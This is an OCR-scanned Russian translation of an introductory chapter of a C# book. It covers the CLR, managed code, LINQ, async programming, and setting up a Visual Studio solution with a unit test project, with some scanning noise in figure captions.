Знакомство с языком C# Отличительные черты C# Хотя наиболее очевидной особенностью языка C# является его при- надлежность к семейству языков с С-подобным синтаксисом, вероятно, наиболее отличающей его чертой можно назвать то, что он стал пер- вым языком, разработанным в качестве нативного языка в мире CLR. В соответствии со своим названием, Общеязыковая среда выполнения CLR является достаточно гибкой для поддержки многих языков, одна- ко между языком, который был расширен для поддержки CLR, и таким, в дизайне которого эта поддержка занимает центральное место, есть су- щественная разница. То, о чем я говорю, очень ясно можно наблюдать на примере .NET-расширений в компиляторе C++ компании Microsoft — синтаксис для использования этих возможностей заметно отличается от стандартного синтаксиса C++, делая четким различие между нативным миром C++ и внешним миром CLR. Однако даже если не принимать во внимание специфические нюансы синтаксиса*, между этими двумя мирами будет оставаться конфликт в тех местах, где их подходы раз- личаются. Например, если вам требуется коллекция чисел, должны ли вы использовать стандартный класс коллекции языка C++, такой как vector<int>, или один из классов платформы .NET Framework, такой как List<int>? Какой бы вариант вы ни выбрали, в определенных слу- чаях этот тип окажется неподходящим: библиотеки C++ не будут знать, что делать с .NET-коллекцией, a API-интерфейсы .NET не смогут ис- пользовать тип C++. C# поддерживает как среду выполнения, так и библиотеки платфор- мы .NET Framework, что исключает возникновение подобных дилемм. В описанном выше сценарии у класса List<int> не будет конкурентов. При использовании библиотек .NET не возникает конфликта, посколь- ку они были созданы для того же мира, что и С#. То же самое можно сказать и о Visual Basic, однако этот язык со- храняет некоторые связи с предшествовавшим .NET-миром. Хотя во многих отношениях .NET-версия Visual Basic является совершенно другим языком по сравнению с предыдущими, компания Microsoft приложила определенные усилия к тому, чтобы сохранить многие * Первый набор .NET-расширений для C++ от компании Microsoft гораздо сильнее напоминал обычный язык C++. Однако, как выяснилось, во избежание путаницы для написания кода, совершенно отличного от обычного кода на C++, лучше использовать отличающийся синтаксис. Поэтому компания Microsoft отказалась от этого первого набора (Managed C++) в пользу нового, более отличающегося синтаксиса с названием C++/CLI. 23
Глава 1 аспекты старых версий. Результатом стало то, что ряд возможностей этого языка не имеет никакого отношения к тому, как работает среда CLR, будучи внешней оболочкой, которую компилятор Visual Basic предоставляет поверх среды выполнения. В этом, конечно, нет ни- чего плохого, поскольку именно так обычно и делают компиляторы; со временем C# привнес и собственные абстракции. Однако модель, представленная в первой версии С#, была очень тесно связана с моде- лью CLR, а добавленные с тех пор абстракции разрабатывались с рас- четом на хорошую согласованность с CLR. Вот что отличает C# от других языков. То есть, если вы хотите понять С#, вы должны понять CLR и то, каким образом эта среда выполняет код. (Кстати, следует заметить, что в книге будет идти речь главным образом о реализациях компании Microsoft; однако существуют спецификации, которые определяют язык и поведе- ние среды выполнения для всех реализаций С#. См. врезку «С#, CLR и стандарты».) С#, CLR и стандарты CLR является реализацией от компании Microsoft среды выполнения для .NET-языков, таких как C# и Visual Basic. Другие реализации, на- пример Mono, не используют CLR, но предлагают нечто аналогич- ное. Организацией по стандартизации ЕСМА опубликованы неза- висимые от операционной системы спецификации для различных элементов, требуемых для реализации С#, в которых определены обобщенные имена для этих различных частей. Речь идет о двух до- кументах: ЕСМА-334 представляет собой Спецификацию языка C# (C# Language Specification), а_ЕСМА-335 определяет Общеязыковую инфраструктуру (CLI, Common Language Infrastructure), то есть мир, в котором работают программы на С#. Данные спецификации были также опубликованы Международной организацией по стандартиза- ции (ISO, International Standards Organization) как ISO/IEC 23270:2006 и ISO/IEC 23271:2006. Однако эти цифры указывают на то, что на се- годняшний день данные стандарты уже являются достаточно стары- ми; они соответствуют версии 2.0 .NET и С#. Компания Microsoft пу- бликовала свои спецификации C# с выходом каждой новой версии языка, и на момент написания этой книги организация ЕСМА вела работы над обновленной спецификацией CLI; таким образом, сле- дует иметь в виду, что утвержденные стандарты немного отстают от реального положения дел. 24
Знакомство с языком C# Несмотря на дрейф версий, будет не срвдем корректным сказать, что CLR является реализацией от компании Microsoft инфраструкту- ры CLI, поскольку область применения CLI несколько шире. Специ- фикация ЕСМА-335 определяет не только поведение среды выпол- нения (которую там называется Виртуальной системой выполнения (VES, Virtual Execution System)), но и формат файла для исполняемых и библиотечных файлов, Общую систему типов (CTS, Common Туре System) и подмножество CTS, которое должны поддерживать язы- ки для гарантированного обеспечения взаимодействия друг между другом, называемое Общеязыковой спецификацией (CLS, Common Language Specification). Поэтому можно сказать, что реализацией CLI от Microsoft является не только CLR, но и платформа .NET Framework в целом, хотя она также включает много дополнительных возможностей, которых нет в спецификации CLI (например, требуемая спецификацией CLI би- блиотека классов представляет собой лишь небольшое подмноже- ство гораздо более обширной библиотеки классов .NET). CLR фак- тически является средой VES платформы .NET, однако вы вряд ли увидите, чтобы термин VES употреблялся где-либо за гГределами спецификации, именно потому в этой книге я говорю главным обра- зом о CLR. Однако термины CTS и CLS используются более широко, и я тоже ссылаюсь на них. Компанией Microsoft фактически было выпущено несколько реа- лизаций CLI. .NET Framework является коммерческим высококаче- ственным продуктом и, помимо CLI, реализует ряд дополнительных возможностей. Кроме того, Microsoft опубликовала базу исходных кодов SSCLI (Shared Source CLI, разделяемый исходный текст CLI), также известную под кодовым названием Rotor, которая, как и под- разумевает ее название, содержит исходный код реализации CLI. Он соответствует последним официальным стандартам и не обнов- лялся с 2006 года. Управляемый код и CLR В течение многих лет наиболее типичный способ функционирова- ния компилятора состоял в обработке исходного кода и представлении результата в форме, обеспечивающей возможность его непосредствен- ного выполнения центральным процессором компьютера. Компилятор генерировал машинный код — последовательность инструкций в том двоичном формате, которого требовал используемый в компьютере тип процессора. Многие компиляторы и сейчас работают по этому принци- 25
Глава 1 пу; компилятор С#, однако, не входит в их число и использует модель, называемую управляемым кодом. В случае с этой моделью выполняемый процессором машинный код генерируется средой выполнения, а не компилятором, что позволя- ет среде предоставлять службы, которые было бы трудно или вообще невозможно предоставить при использовании традиционной модели. Компилятор генерирует промежуточную форму двоичного кода на язы- ке IL {Intermediate Language, промежуточный язык), а среда генерирует двоичный код во время выполнения. Возможно, самое очевидное преимущество управляемой модели за- ключается в том, что генерируемый компилятором результат не привя- зан к какой-то одной архитектуре центрального процессора. Вы можете написать .NET-компонент, который будет одинаково хорошо работать на использовавшейся десятки лет 32-разрядной архитектуре х86, более новой 64-разрядной версии этого дизайна х64, а также на совершен- но отличных архитектурах, таких как ARM и Itanium. В случае языка, осуществляющего компиляцию непосредственно в машинный код, вам потребовалось бы создавать отдельные двоичные файлы для каждой из архитектур. Вы можете скомпилировать один .NET-компонент, ко- торый станет работать не только на каждой из перечисленных, но и на тех платформах, что не поддерживались на момент компиляции кода при условии появления соответствующих сред выполнения в будущем. Еслц касаться более общих моментов, то любое улучшение процесса ге- нерирования кода средой CLR — будь то поддержка новых архитектур центрального процессора или просто улучшение производительности для существующих архитектур — незамедлительно дает преимущество всем языкам .NET. Точный момент генерирования средой CLR исполняемого машин- ного кода может варьироваться. В типичном случае она использует подход, называемый JIT-компиляцией (just-in-time, точно к нужному моменту), при котором каждая отдельная функция компилируется во время выполнения при первом ее запуске. Однако для CLR совсем не обязательно работать таким образом; в принципе, она может использо- вать свободные циклы процессора для компиляции функций, которые, как она считает, способны вам понадобиться в будущем (основываясь на том, что ваша программа делала в прошлом). Можно использовать и более агрессивный подход, когда установщик программы станет за- прашивать заблаговременное генерирование машинного кода, чтобы программа была откомпилирована до первого запуска. А для прило- 26
Знакомство с языком C# жений, развертывание которых осуществляется через онлайн-магазин компании Microsoft, таких как программы для Windows 8 и Windows Phone, также доступен вариант компиляции кода приложения магази- ном перед его отправкой на компьютер или устройство пользователя. Иногда же, напротив, CLR может повторно генерировать код во вре- мя выполнения, спустя некоторое время после первоначальной JIT- компиляции. Такая повторная компиляция может запускаться сред- ствами диагностики или самой средой CLR для оптимизации кода в соответствии со способом его использования. И хотя перекомпиляция с целью оптимизации является недокументированной особенностью, виртуальная природа управляемого выполнения делает такие вещи возможными, скрытым от кода образом. В некоторых случаях, однако, они могут давать о себе знать; так, например, виртуальное выполнение оставляет определенную свободу в отношении того, когда и как среда должна проводить определенную работу по инициализации, резуль- татом которой порой становится то, что вещи начинают происходить в неожиданном порядке. И все же процессорно-независимая JIT-компиляция не является главным преимуществом управляемого кода. Самый большой плюс — это предоставляемый средой выполнения набор служб, и одна из наи- более важных среди них — управление памятью. Сборщик мусора пред- ставляет собой службу, автоматически освобождающей неиспользуемую память. Это означает, что в большинстве случаев вам не потребуется пи- сать код, который бы явным образом возвращал память операционной системе по завершении ее использования. В зависимости от того, с ка- кими языками вы работали прежде, это может либо не представлять для вас ничего нового, либо вынудить вас коренным образом пересмотреть свой подход к написанию кода. _ Хотя сборщик мусора берет на себя решение большинства вопросов управления памятью, в некоторых случаях вы не- ----- умышленно можете поставить в тупик его эвристику. Под- робное описание того, как работает эта служба, приводится в главе 7. В управляемом коде повсеместно присутствует информация о ти- пах. Этого требуют предписываемые CLI форматы файлов, поскольку некоторые из возможностей среды выполнения основываются на ин- формации о типах. Например, .NET Framework предоставляет различ- 27
Глава 1 ные службы автоматической сериализации, позволяющие преобразовы- вать объекты в двоичные или текстовые представления их состояния, а впоследствии — обратно в объекты, возможно, уже на другой машине. Службы подобного рода полагаются на полное и точное описание струк- туры объектов, присутствие которых в управляемом коде гарантирует- ся. Информация о типах используется и другими способами. Например, фреймворки тестирования модулей могут применять ее для того, чтобы просмотреть код в тестируемом проекте и обнаружить все написанные вами модульные тесты. Этот способ полагается на службы отражения среды CLR, которым посвящена глава 13. Доступность информации о типах делает возможной важную функ- цию безопасности. Среда выполнения может проверять код на безопас- ность типов и в определенных ситуациях отклонять тот, что делает небезопасные операции. (Одним из примеров небезопасного кода яв- ляется использование указателей в стиле языка С. Арифметика ука- зателей способна нарушить систему типов, что, в свою очередь, может позволить обойти механизмы безопасности. C# поддерживает указа- тели, однако результирующий небезопасный код не пройдет проверку на безопасность типов.) .NET можно сконфигурировать таким образом, чтобы использовать небезопасные возможности разрешалось только определенному заслуживающему доверия коду. Это позволяет загрузку и локальное выполнение .NET-кода из потенциально ненадежных ис- точников (например, с некоторого случайного сайта) без риска компро- метации машины пользователя. Плагин для веб-браузеров Silverlight применяет эту модель по умолчанию, поскольку он предоставляет спо- ’ соб развертывания на сайтах .NET-кода, который могут загружать и вы- полнять клиентские машины, и, соответственно, ему необходимо гаран- тировать, что это не откроет брешь в системе безопасности. Используя информацию о типах в коде, плагин проверяет, все ли правила безопас- ности типов в наличии. Тесная связь C# со средой выполнения является одной из главных, но не единственный его отличительной чертой. Аналогичной связью с CLR обладает и Visual Basic, однако отличие C# от него состоит не только в синтаксисе, но и в несколько иной философии. Превосходство универсальности над специализацией C# отдает предпочтение универсальным возможностям языка над специализированными. За прошедшие годы компания Microsoft не- 28
Знакомство с языком C# сколько раз расширяла С#, и каждый раз разработчиками подразумевал- ся некоторый конкретный сценарий использования новых возможно- стей. Однако в то же время они всегда стремились к тому, чтобы каждый добавляемый ими элемент языка оказался полезен и за пределами того сценария, для которого он предназначался. Так, например, одной из целей для C# 3.0 было добиться ощуще- ния хорошей интеграции в язык возможностей доступа к базам данных. Разработанная в результате технология, LINQ (Language Integrated Query, язык интегрированных запросов), безусловно, позволила ком- пании Microsoft успешно справиться с поставленной задачей, однако она была достигнута без добавления в язык какой-либо непосредствен- ной поддержки доступа к данным. Вместо этого в язык был добавлен ряд внешне не связанных возможностей, в том числе поддержка идиом функционального программирования, возможность добавлять новые методы в существующие типы, не прибегая к наследованию, поддержка анонимных типов, возможность получения объектной модели, пред- ставляющей структуру выражения, и введение синтаксиса запросов. Из этих возможностей только последняя имеет очевидное отношение к до- ступу к данным, в то время как остальные очень трудно связать с этой задачей. Тем не менее если их использовать совместно, они позволя- ют существенно упростить выполнение определенных задач доступа к данным. В то же время каждая из названных возможностей является полезной сама по себе, поэтому наряду с поддержкой доступа к данным они также делают возможным гораздо более широкий набор сценариев. Например, C# 3.0 существенно упростил обработку списков, множеств и других групп объектов, поскольку новые возможности допускает- ся использовать для коллекций элементов из любых источников, а не только баз данных. Вероятно, наиболее ярким примером этой философии универсаль- ности являются возможности языка, которые не были реализованы в С#, но есть в Visual Basic. Последний позволяет записывать XML-код непосредственно в исходный код, встраивая выражения для вычисления значений для тех или иных элементов контента во время выполнения. Они компилируются в код, который генерирует завершенный XML-код вовремя выполнения. Visual Basic также обладает встроенной поддерж- кой запросов, извлекающих данные из ХМL-документов. Возможность добавления тех же концепций рассматривалась и для С#. Исследова- тельским подразделением компании Microsoft были разработаны рас- ширения для С#, позволяющие встраивать XML-код; общественность 29
Глава 1 познакомилась с этими расширениями незадолго до выхода первой версии Visual Basic, уже способной делать подобное. Тем не менее в ко- нечном счете данная возможность все же не стала частью С#, будучи достаточно узкой и представляющей пользу лишь при создании XML- документов. Что касается запросов к XML-документам, C# поддержи- вает эту функциональность посредством своих универсальных LINQ- возможностей, благодаря чему отпадает необходимость в каких-либо специфичных к XML-элементах языка. С того времени популярность формата XML значительно поубавилась и во многих случаях теперь его заменяет JSON (на смену которому тоже, не исключено, придет что-то еще). Если бы встраивание XML-кода в свое время было включено в С#, сейчас бы оно выглядело как некий анахронизм. Несмотря на вышесказанное, одна из новых возможностей C# 5.0 все же является достаточно специализированной. У нее действительно лишь одно назначение, но, следует признать, — очень важное. Асинхронное программирование Наиболее важной особенностью C# 5.0 является поддержка асин- хронного программирования. В .NET всегда присутствовала возмож- ность использовать асинхронные API-интерфейсы (то есть такие, что не ожидают завершения выполняемой ими операции для возвращения управления). Особенно большое значение асинхронность имеет для операций ввода/вывода, которые могут занимать продолжительное время и часто не требуют активного участия со стороны процессора, за исключением моментов начала и конца операции. При этом простые, синхронные API-интерфейсы, не возвращающие управление до завер- шения операции, оказываются неэффективными. Они приостанавлива- ют выполнение потока на время ожидания, результатом чего становится далекая от оптимальной производительность серверов; столь же неэф- фективны они и в коде клиентской стороны, поскольку приводят к низ- кой отзывчивости пользовательского интерфейса. Проблемой более эффективных и гибких асинхронных API-ин- терфейсов всегда являлось то, что их использование было связано с большими трудностями по сравнению с синхронными интерфей- сами. Теперь же, если асинхронный API-интерфейс соответствует определенному шаблону, можно написать использующий его С#-код, который будет почти таким же простым, как код для синхронного ин- терфейса. 30
Знакомство с языком C# Несмотря на то что асинхронная поддержка представляет собой до- вольно специализированный аспект С#, она все же обладает некоторой адаптируемостью. Она может использовать добавленную в .NET 4.0 би- блиотеку TPL (Task Parallel Library, библиотеку параллельных задач), однако та же возможность языка будет работать и с новыми асинхрон- ными механизмами в WinRT (API-интерфейсе для написания нового типа приложений, введенном в Windows 8). А если вам потребуется на- писать свои асинхронные механизмы, вы также сможете сделать так, чтобы их использовали и нативные асинхронные возможности язы- ка С#. Таким образом, я описал вам некоторые из отличительных возмож- ностей С#; однако компания Microsoft предоставляет не только язык и среду выполнения. Вы также получаете среду разработки, призванную помочь в написании, тестировании, отладке и сопровождении кода. Visual Studio Visual Studio — среда разработки от компании Microsoft. Существу-1 ют различные версии этой среды, от бесплатных до чрезвычайно доро- гих. Все они предоставляют базовые возможности — такие как тексто- вый редактор, средства построения и отладчик, — а также инструменты визуального редактирования пользовательского интерфейса. Строго говоря, применять Visual Studio не обязательно — система построения платформы .NET, которую использует эта среда разработки, доступ- на из командной строки, что позволяет применять любой текстовый редактор. Тем не менее большинство С#-разработчиков применяют именно Visual Studio, поэтому давайте начнем с краткого знакомства с этой средой. Вы можете скачать бесплатную версию Visual Studio (или, как ее называет компания Microsoft, «экспресс-выпуск») по адре- су www.microsoft.com/express. Как правило, любое сколько-нибудь сложное начинание на C# включает множество файлов исходного кода, и в Visual Studio эти фай- лы принадлежат проекту. Каждый проект генерирует один результат в соответствии с указанным типом выходных данных. Они могут пред- ставлять собой лишь один файл — например, исполняемый файл или 31
Глава 1 библиотеку*, — однако есть проекты, генерирующие более сложные ре- зультаты. Так, проекты некоторых типов выполняют построение сайтов. Хотя сайт обычно состоит из множества файлов, вместе взятые, они представляют собой одну сущность — сайт. Результаты каждого проек- та обычно развертываются как единый модуль, даже если он состоит из большого числа файлов. Файлам проектов, как правило, присваивается расширение, заканчи- вающееся наproj. Например, проекты C# обладают расширением .csproj, а проекты C++ — расширением .vcxproj. Если вы просмотрите содер- жимое файлов в текстовом редакторе, то, скорее всего, обнаружите, что они содержат XML-код. (Это, однако, не всегда так. Среда Visual Studio является расширяемой, и каждый тип проекта определяется системой проекта, которая может использовать какой угодно формат. Для встро- енных языков тем не менее применяется формат XML.) В этих файлах перечисляется содержимое проекта и задается конфигурация его по- строения. Файлы формата XML, используемые средой Visual Studio для проектов С#, можно также обрабатывать с помощью инструмента msbuild, позволяющего выполнять построение проектов из командной строки. Вы часто будете испытывать необходимость работать с группами проектов. Например, хорошей практикой является написание тестов для своего кода, однако в большинстве случаев нет нужды развертывать код тестов как часть приложения, поэтому обычно имеет смысл помещать автоматизированные тесты в отдельные проекты. Вам также может по- требоваться разбить свой код по каким-то другим причинам. Например, если создаваемая вами система будет состоять из настольного приложе- ния и сайта, возможно, некоторый общий код вы захотите использовать в обоих. В таком случае вам потребуется один проект для построения библиотеки с общим кодом, один, генерирующий исполняемый файл настольного приложения, один для построения сайта, и еще три проекта с модульными тестами для каждого из основных проектов. Visual Studio помогает организовать работу с несколькими связан- ными проектами посредством так называемого решения. Оно представ- * В операционной системе Windows исполняемые файлы обычно обладают расши- рением .ехе, а библиотеки — расширением .dll (исторически сложившееся сокращение для dynamic link library, библиотеки динамической компоновки). Эти файлы представляют собой почти одно и то же; единственное отличие состоит в том, что расширение .ехе специфицирует точку входа приложения. Оба типа файлов могут экспортировать воз- можности для использования их другими компонентами, и оба являются примерами сборок, о которых пойдет речь в главе 12. 32
Знакомство с языком C# ляет собой просто набор проектов, и хотя они, как правило, связаны друг с другом, это не обязательно — по сути, решение является простым контейнером. Просматривать загруженное в текущий момент решение и все содержащиеся в нем проекты можно на панели Solution Explorer (Обозреватель решений). Рисунок 1.1 демонстрирует решение с двумя проектами. (Представ- ленные в этой книге снимки экрана сделаны в версии Visual Studio 2012, которая была последней на момент написания.) Содержимое панели показано в виде дерева с возможностью разворачивать каждый про- ект и просматривать, какие файлы входят в его состав. Обычно панель Solution Explorer открыта и находится в верхнем правом углу рабочего окна Visual Studio, однако ее можно-убрать или закрыть. Чтобы снова открыть ее, следует выполнить команду меню View => Solution Explorer (Вид => Обозреватель решений). Solution Explorer :-x-x<-»x-x«-x->xw»x-: ▼ В X С OtSl'b-i* Q9 0| *[р] Search Solution Explorer (Ctrl ♦;) fi - 53 Solution ‘HelloWorid* (2 projects) л @Hdk>WorU ► Л Properties ► References О Арр.config ► с» Program.es л Щ HelloWorid.Те sts ► Л Properties ► References ► C* WhenProgramRuns.es Рис. 1.1. Панель Solution Explorer (Обозреватель решений) Visual Studio может загрузить проект только в том случае, если он является частью решения. При создании нового проекта вы можете до- бавить его в уже существующее решение, однако если вы этого не сдела- ете, Visual Studio создаст для вас новое решение; в случае же открытия существующего файла проекта Visual Studio выполнит поиск ассоции- рованного решения, и если он не даст результатов, среда разработки бу- дет настаивать на том, чтобы вы либо предоставили ей решение, либо позволили создать таковое. Причиной является то, что область види- мости многих операций в Visual Studio ограничена загруженным в те- кущий момент решением. При построении кода обычно выполняется построение решения. Настройки конфигурации, такие как выбор между конфигурациями Debug (Отладка) и Release (Выпуск), контролиру- 33
Глава 1 ются на уровне решения. Глобальный текстовый поиск выполняется по всем файлам решения. Решение представляет собой лишь еще один файл с расширением .sin. Как ни странно, это не XML-файл — он содержит обычный текст, однако в формате, понятном для инструмента msbuild. Если вы взгля- нете на содержимое папки вашего решения, вы также заметите файл с расширением ,suo. Это двоичный файл, который содержит специфич- ные для отдельного пользователя настройки, например, сведения о том, какие файлы были вами открыты и какой проект или проекты следует открыть при запуске сеанса отладки. Наличие этого файла позволяет га- рантировать, что, когда вы откроете проект, он будет примерно в том же состоянии, в каком вы его оставили, работая над ним в последний раз. Поскольку эти настройки касаются отдельного пользователя, они обыч- но не регистрируются в системе контроля исходного кода. Проект может входить в состав нескольких решений. В больших базах исходных кодов распространенной практикой является использование нескольких .sln-гфайлов с разными комбинациями проектов. Среди них, как правило, присутствует главное решение, которое включает каждый из отдельных проектов, однако не все разработчики будут нуждаться в том, чтобы постоянно работать со всем кодом. Например, в упомянутом выше призере, разработчику, создающему настольное приложение, также пона- добится разделяемая библиотека, но, вероятно, он не будет заинтересован в загрузке веб-проекта. Более крупное решение не только потребует боль- ше времени на загрузку и компиляцию, но и, возможно, заставит разра- ботчика сделать что-то дополнительно — например, веб-проект потребу- ет наличие локального веб-сервера. Visual Studio предоставляет простой веб-сервер, однако если в проекте используются возможности, специфич- ные для сервера конкретного типа (например, IIS (Internet Information Services, информационные службы Интернета) от компании Microsoft), то для загрузки веб-проекта потребуется установить и сконфигурировать данный сервер. Для разработчика, который планировал работать только с настольным приложением, это оказалось бы раздражающей напрасной тратой времени. Таким образом, более благоразумным будет создать от- дельное решение, включающее только те проекты, которые необходимы для работы над настольным приложением. Теперь, имея вышесказанное в виду, я покажу вам, как создать новый проект и решение, после чего в качестве введения в язык я выполню поша- говый разбор тех элементов, которые Visual Studio добавляет в новый про- ект С#. Я также покажу, как добавить в решение проект модульного теста. 34
Знакомство с языком C# v Следующий раздел рассчитан на читателей, не знакомых со 4ч сРеД°й разработки Visual Studio, — хотя книга предназначена 7^5для опытных программистов, это не подразумевает наличие у них опыт работы именно с С#. Большая часть книги рассчи- тана на тех, кто уже обладает некоторыми познаниями в дан- ной области и хочет расширить их; если это сказано про вас, можете лишь бегло просмотреть следующий раздел, посколь- ку вы уже должны быть знакомы с Visual Studio. Анатомия простой программы Для создания нового проекта в Visual Studio выполните команду меню File => New Project (Файл => Создать проект) * или, если вы пред- почитаете использовать комбинации клавиш, нажмите Ctrl+Shift+N. На экране появится диалоговое окно New Project (Создать проект), показанное на рис. 1.2. В левой его части находится древовидной спи- сок, классифицирующий проекты сначала по языку, а затем по типу. 4 Я выбираю пункт Visual С#, а затем категорию Windows, которая, по- мимо шаблонов проектов настольного приложения, также включает шаблоны проектов для создания DLL-библиотек и консольных при- ложений. Затем я выбираю шаблон Console Application (Консольное приложение). ’v I Различные версии Visual Studio предлагают различные на- боры шаблонов. Кроме того, даже в одной версии структура - древовидного списка в левой части диалогового окна New Project (Создать проект) может варьироваться в зависимо- сти от того, какой выбор вы сделаете во время первого за- пуска Visual Studio. Среда разработки предлагает различные конфигурации в зависимости от того, какому языку отдается предпочтение. Я выбрал С#, но если вы укажете другой язык, среда разработки может сдвинуть C# на один уровень глубже, в категорию Other Languages (Другие языки). * Следует отметить, что для элементов меню верхнего уровня в Visual Studio 2012 используются буквы ВЕРХНЕГО РЕГИСТРА. Благодаря этой особенности дизайна более близкие к прямоугольной форме названия элементов меню намечают контуры соответствующей области экрана без необходимости в применении границ, которые бы лишь занимали дополнительное место и загромождали доступное пространство. Однако, чтобы это не выглядело так, как будто я кричу, в тексте книги команды меню приводятся с использованием букв верхнего и нижнего регистров. 35
Глава 1 WCF Window) Phone И Blank Арр (XAML) Visual C* Workflow СП ASP.NET MVC 4 Web Application Visual C* Name: Location: Solution name: HelloWorid C:\Demo\ HelloWorid И Create directory for solution Q Add to source control Рис. 1.2. Диалоговое окно New Project (Создать проект) Поле ввода Name (Имя) в нижней части этого диалогового окна определяет три вещи. Во-первых, оно задает имя создаваемого на диске файла с расширением .csproj. Оно также задает имя файла для компилируемого результата, хотя его впоследствии можно будет изме- нить. Наконец, оно задает для создаваемого кода пространство имен по умолчанию; суть этого процесса я объясню при рассмотрении получен- ного кода. Присутствующий в данном окне флажок Create directory for solution (Создать каталог для решения) позволяет вам указать, каким образом должно создаваться ассоциированное с проектом ре- шение. Если сбросить флажок, проект и решение будут обладать оди- наковыми именами и располагаться в одной и той же папке на диске. Однако если планируется добавить в новое решение несколько про- ектов, обычно необходимо, чтобы решение располагалось в собствен- ной папке с сохранением каждого проекта в своей подпапке. Именно так и поступит среда Visual Studio, если вы установите флажок Create directory for solution (Создать каталог для решения); при этом откро- ется доступ к полю ввода Solution паше (Имя решения), в котором при необходимости вы можете выбрать для решения имя, отличное от име- ни первого проекта. Помимо программы, я планирую добавить в решение проект мо- дульного теста, так что я устанавливаю флажок. Я указываю имя проек- та HelloWorid, и это же имя среда разработки подставляет для решения, 36
Знакомство с языком C# что в данном случае меня вполне устраивает. После щелчка по кнопке OK Visual Studio создает новый проект. Таким образом, у меня уже есть решение, содержащее один проект. Добавление проекта в существующее решение Для добавления в решение проекта модульного теста можно перей- ти на панель Solution Explorer (Обозреватель решений), щелкнуть правой кнопкой мыши по узлу решения (расположенному в самом вер- ху) и выбрать в контекстном меню команду Add => New Project (Доба- вить => Создать проект). В качестве альтернативы можно снова открыть диалоговое окно New Project (Создать проект), используя главное меню. Если сделать это, когда уже будет открыто решение, то в нижней части окна появится дополнительный раскрывающийся список, пред- лагающий выбор между добавлением проекта в текущее решение и соз- данием нового решения. За исключением вышеназванной небольшой детали, это то же диа- логовое окно New Project (Создать проект), которое я использовал для создания первого проекта; однако на этот раз я выбираю в левой части окна категорию Visual C# => Test (Visual C# => Тест), после чего указы- ваю справа шаблон Unit Test Project (Проект модульного теста). Здесь будут содержаться тесты для моего проекта Hello World, поэтому я даю ему название HelloWorld.Tests. (Кстати, придерживаться такого согла- шения по наименованию не обязательно — я мог присвоить проекту ка- кое угодно имя.) После щелчка по кнопке OK Visual Studio создает вто- рой проект, и теперь список на панели Solution Explorer (Обозреватель решений) будет содержать оба проекта, как показано на рис. 1.1. Назначение данного тестового проекта — в том, чтобы понять, дела- ет ли основной проект то, что должен. Я предпочитаю стиль разработки, при котором тесты пишутся до написания тестируемого кода, потому мы начнем с тестового проекта. (Этот подход иногда называют разработкой с ориентацией на тестирование {TDD, Test-Driven Development).) Чтобы тестовый проект мог выполнить свою работу, ему потребуется доступ к коду в проекте Hello World. У Visual Studio нет никакого способа до- гадаться, от каких других проектов могут зависеть те или иные проекты в решении. Даже несмотря на то что в данном случае решение содержит только два проекта, если бы среда разработки попыталась догадаться, какой из них зависит от другого, она, по всей вероятности, сделала бы это неправильно, поскольку проект Hello World генерирует .ехе-файл, 37
Глава 1 а тестовый проект — .JZZ-файл. Наиболее естественным будет предпо- ложить, что .ехе-файл должен зависеть от .JZZ-файла, однако в данном случае мы имеем дело с несколько необычным требованием, чтобы би- блиотека (в действительности представляющая собой тестовый проект) зависела от кода приложения. Ссылка на один проект из другого проекта Чтобы сообщить среде разработки Visual Studio о существовании отношения между двумя проектами, следует перейти на панель Solution Explorer (Обозреватель решений), щелкнуть правой кнопкой мыши по узлу References (Ссылки) проекта HelloWorld.Tests, и выбрать в кон- текстном меню команду Add Reference (Добавить ссылку). Откроется диалоговое окно Reference Manager (Менеджер ссылок), показанное на рис. 1.3. В левой части окна можно выбрать тип необходимой ссылки — в данном случае мне нужно добавить ссылку на другой проект в том же решении, так что я разворачиваю раздел Solution (Решение) и выбираю в нем пункт Projects (Проекты). При этом правее выводятся все осталь- ные проекты решения, то есть в данном случае — всего один; я устанав- ливаю флажок напротив пункта Hello World и щелкаю по кнопке ок. Рис. 1.3. Диалоговое окно Reference Manager (Менеджер ссылок) При добавлении ссылки Visual Studio разворачивает узел References (Ссылки) на панели Solution Explorer (Обозреватель решений), позво- ляя вам увидеть, что вы только что добавили. Как показывает рис. 1.4, созданная вами ссылка не будет единственной — в новый проект вклю- чаются ссылки на несколько стандартных системных компонентов. Эти 38
Знакомство с языком С* ссылки, однако, не охватывают все содержимое библиотеки классов платформы .NET Framework; Visual Studio выбирает некоторый началь- ный набор на основе типа проекта. В проекты модульного теста вклю- чается очень небольшое число ссылок. В более специализированные проекты, например, для создания пользовательского интерфейса на- стольных систем веб-приложений, могут включаться дополнительные ссылки на релевантные части платформы. Используя диалоговое окно Reference Manager (Менеджер ссылок), вы.можете добавить ссылку на любой компонент в библиотеке классов. Развернув раздел Assemblies (Сборки), который находится в верхнем левом углу на рис. 1.3, вы уви- дите два пункта, Framework (Платформа) и Extensions (Расширения). Первый пункт предоставляет доступ ко всему содержимому библиотеки классов платформы .NET Framework, а второй — к другим .NET-kom- понентам, которые установлены на вашей машине. (Например, если вы инсталлируете другие SDK (Software Development Kit, набор средств разработки) на базе .NET, здесь будут отображены их компоненты.) Solution Explorer □ X © о ta f ъ - # о a to | <> Search Solution Explorer (Ctrl +;) ft • И Solution 'HelloWorld* (2 projects) J @HeBoWorid ► Л Properties b References О App.config ► c* Program.es J @ HelloWorld.Tests ► A Properties - References HelloWorld < Microsoft VisualStudio.QualrtyTools.UnitTestFramework System ► c* UnrtTest1.es Рис. 1.4. В узле References (Ссылки) показаны ссылки на компоненты Написание теста модуля Теперь мне нужно написать тест. Чтобы было легче начать, среда разработки снабдила меня классом теста, который размещается в файле jc именем UnitTest1.cs. Я хочу присвоить этому классу более информа- тивное имя. Существуют разные мнения о том, каким образом следует жгруктурировать модульные тесты. Кто-то из программистов является ’’сторонником подхода, при котором для каждого тестируемого класса 39
